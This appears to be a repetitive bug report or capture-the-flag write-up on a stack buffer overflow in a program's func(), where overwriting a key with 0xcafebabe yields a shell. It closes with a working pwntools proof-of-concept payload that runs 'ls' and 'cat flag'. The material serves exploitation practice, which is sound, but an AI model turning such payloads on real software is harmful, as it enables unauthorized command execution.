The func() function gets the string without size checking.
So I can put a string with a size of 32 or greater.
By doing that I can overwrite the memory space of key
I fill the memory space before the memory address that key is stored with dummy value "A"
and overwrite the key value with 0xcafebabe
Then the program execute /bin/sh and I can execute any command
I attach the poc file
Subsystem: Empty
This project not use Open-Source-Software.
So, this item is empty
The func() function gets the string without size checking. So I can put a string with a size of 32 or greater.
By doing that I can overwrite the memory space of key I fill the memory space before the memory address that key is stored with dummy value "A" and overwrite the key value with 0xcafebabe Then the program execute /bin/sh and I can execute any command
I attach the poc file
Subsystem: Empty
Proof of Concept:
p = process("./vuln")
payload = "A"*52 + "\xbe\xba\xfe\xca" p.sendline( payload ) p.sendline('ls') print(p.recv()) p.sendline('cat flag') print(p.recv()) p.close()